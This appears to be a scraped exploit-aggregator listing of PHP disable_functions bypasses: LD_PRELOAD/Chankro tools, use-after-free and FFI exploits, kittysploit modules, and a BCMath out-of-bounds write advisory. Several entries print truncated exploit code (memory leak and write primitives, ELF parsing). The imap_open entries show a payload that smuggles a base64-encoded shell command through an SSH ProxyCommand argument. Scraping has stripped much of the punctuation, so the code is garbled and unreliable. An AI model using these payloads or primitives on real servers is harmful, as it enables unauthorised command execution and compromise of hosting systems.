bypass_disablefunc_via_LD_PRELOAD

bypassdisablefunc.php has three GET options: cmd, outpath and sopath. The options are very simple, cmd is your evil command, outpath is the output file path of the command readable and writable, sopath is the absolute path of our shared object bypassdisablefuncx64.so. For example:...

TimeAfterFree

TimeAfterFree PHP 8 sandbox escape PoC demonstrating a disablefunctions bypass on Unix-like systems. This exploit leverages a use-after-free bug to bypass disablefunctions and execute system commands. The exploitation techniques used for leaking heap pointers and obtaining read/write primitives...

php-bypass-disable-functions

php-bypass-disable-functions Demo project how to bypass the disablefunctions security control of PHP on Linux, where processes can inspect and even write their own memory via the special /proc/self/map file via standard file operations open/seek/read/write. Tested on PHP 7.3.5, x8664 Linux See...

Chankro

Chankro Your favourite tool to bypass disablefunctions and openbasedir in your pentests. How it works PHP in Linux calls a binary sendmail when the mail function is executed. If we have putenv allowed, we can set the environment variable "LDPRELOAD", so we can preload an arbitrary shared object...

PHP BCMath 8.5.8 Remote Code Execution

PHP BCMath versions 8.4.0 through 8.4.23 and 8.5.0 through 8.5.8 contain an out-of-bounds write vulnerability in bcstr2num. The issue can be leveraged from an existing PHP code execution context to corrupt Zend heap metadata, establish arbitrary memory access, resolve native PHP function handlers...

Exploit for Out-of-bounds Write in Php

CVE-2026-17544 — PHP bcmath OOB write → universal memory-only...

PHPUnit has Argument injection via newline in PHP INI values that are forwarded to child processes

Impact PHPUnit forwards PHP INI settings to child processes used for isolated/PHPT test execution as -d name=value command-line arguments without neutralizing INI metacharacters. Because PHP's INI parser interprets " as a string delimiter, ; as the start of a comment, and most importantly a newli...

PT-2026-22707

Уязвимость механизма уничтожения массивов, содержащих объекты интерпретатора языка PHP связана с использованием памяти после ее освобождения. Эксплуатация уязвимости может позволить нарушителю обойти механизм защиты disable functions и вызвать команды операционной системы с использованием...

PHP 7.4 > ffi disable_functions bypass

PHP 7.4 ffi disablefunctions bypass from kittysploit import from lib.protocols.http.httpserver import Httpserver as HTTPServer class ModulePost, HTTPServer: info = "name": "PHP 7.4 ffi disablefunctions bypass", "description": "PHP 7.4 ffi disablefunctions bypass", "arch": Arch.PHP, 'agent': 'risk...

PHP 7.0-7.4 disable_functions bypass

PHP 7.0-7.4 disablefunctions bypass 7.0 - all versions 7.1 - all versions 7.2 - all versions 7.3 7.3.15 7.4 7.4.3 from kittysploit import from lib.protocols.http.httpserver import Httpserver as HTTPServer class ModulePost, HTTPServer: info = "name": "PHP 7.0-7.4 disablefunctions bypass",...

PHP 7.1-7.3 disable_functions bypass

PHP 7.1-7.3 json disablefunctions bypass from kittysploit import from lib.protocols.http.httpserver import Httpserver as HTTPServer class ModulePost, HTTPServer: info = "name": "PHP 7.1-7.3 disablefunctions bypass", "description": "PHP 7.1-7.3 json disablefunctions bypass", "arch": Arch.PHP,...

PHP 7.0-7.3 disable_functions bypass

PHP 7.0-7.3 disablefunctions bypass using UAF vulnerability from kittysploit import from lib.protocols.http.httpserver import Httpserver as HTTPServer class ModulePost, HTTPServer: info = "name": "PHP 7.0-7.3 disablefunctions bypass", "description": "PHP 7.0-7.3 disablefunctions bypass using UAF...

PHP 7.4 FFI disable_functions Bypass

?php / FFI Exploit - uses 3 potential BUGS. PHP was contacted and said nothing in FFI is a security issue. Able to call system$cmd without using FFI::load or FFI::cdefs BUG 1 maybe intended, but why have any size checks then? no bounds check for FFI::String when type is ZENDFFITYPEPOINTER...

PHP 7.0 7.4 (Unix) - debug_backtrace disable_functions Bypass

PHP 7.0 7.4 Unix - debugbacktrace disablefunctions Bypass a; $backtrace = new Exception-getTrace; ; if!isset$backtrace1'args' PHP = 7.4 $backtrace = debugbacktrace; class Helper public $a, $b, $c, $d; function str2ptr&$str, $p = 0, $s = 8 $address = 0; for$j = $s-1; $j = 0; $j-- $address = 8;...

PHP 7.0 < 7.4 (Unix) - 'debug_backtrace' disable_functions Bypass

a; $backtrace = new Exception-getTrace; ; if!isset$backtrace1'args' PHP = 7.4 $backtrace = debugbacktrace; class Helper public $a, $b, $c, $d; function str2ptr&$str, $p = 0, $s = 8 $address = 0; for$j = $s-1; $j = 0; $j-- $address = 8; return $out; function write&$str, $p, $v, $n = 8 $i = 0; for$...

PHP 7.3 disable_functions Bypass

= 0; $j-- $address = 8; return $out; function write&$str, $p, $v, $n = 8 $i = 0; for$i = 0; $i = 8; function leak$addr, $p = 0, $s = 8 global $abc, $helper; write$abc, 0x68, $addr + $p - 0x10; $leak = strlen$helper-a; if$s != 8 $leak %= 2 $s 8 - 1; return $leak; function parseelf$base $etype =...

PHP 7.0 < 7.3 (Unix) - 'gc' disable_functions Bypass

= 0; $j-- $address = 8; return $out; function write&$str, $p, $v, $n = 8 $i = 0; for$i = 0; $i = 8; function leak$addr, $p = 0, $s = 8 global $abc, $helper; write$abc, 0x68, $addr + $p - 0x10; $leak = strlen$helper-a; if$s != 8 $leak %= 2 $s 8 - 1; return $leak; function parseelf$base $etype =...

PHP 7.x disable_functions Bypass

= 8; public function str2ptr&$str, $p = 0, $s = 8 $address = 0; for$j = $s-1; $j = 0; $j-- $address = 8; return $out; unable to leak ro segments public function leak1$addr global $spl1; $this-write$this-abc, 8, $addr - 0x10; return strlengetclass$spl1; the real deal public function leak2$addr, $p...

PHP 5.2.3 imap (Debian Based) - imap_open disable_functions Bypass

PHP 5.2.3 imap Debian Based - imapopen disablefunctions Bypass /tmp/test0001 $server = "x -oProxyCommand=echo\tZWNobyAnMTIzNDU2Nzg5MCc+L3RtcC90ZXN0MDAwMQo=|base64\t-d|sh"; imapopen''.$server.':143/imapINBOX', '', '' or die"\n\nError: ".imaplasterror;...

PHP 5.2.3 imap (Debian Based) - 'imap_open' disable_functions Bypass

/tmp/test0001 $server = "x -oProxyCommand=echo\tZWNobyAnMTIzNDU2Nzg5MCc+L3RtcC90ZXN0MDAwMQo=|base64\t-d|sh"; imapopen''.$server.':143/imapINBOX', '', '' or die"\n\nError: ".imaplasterror;...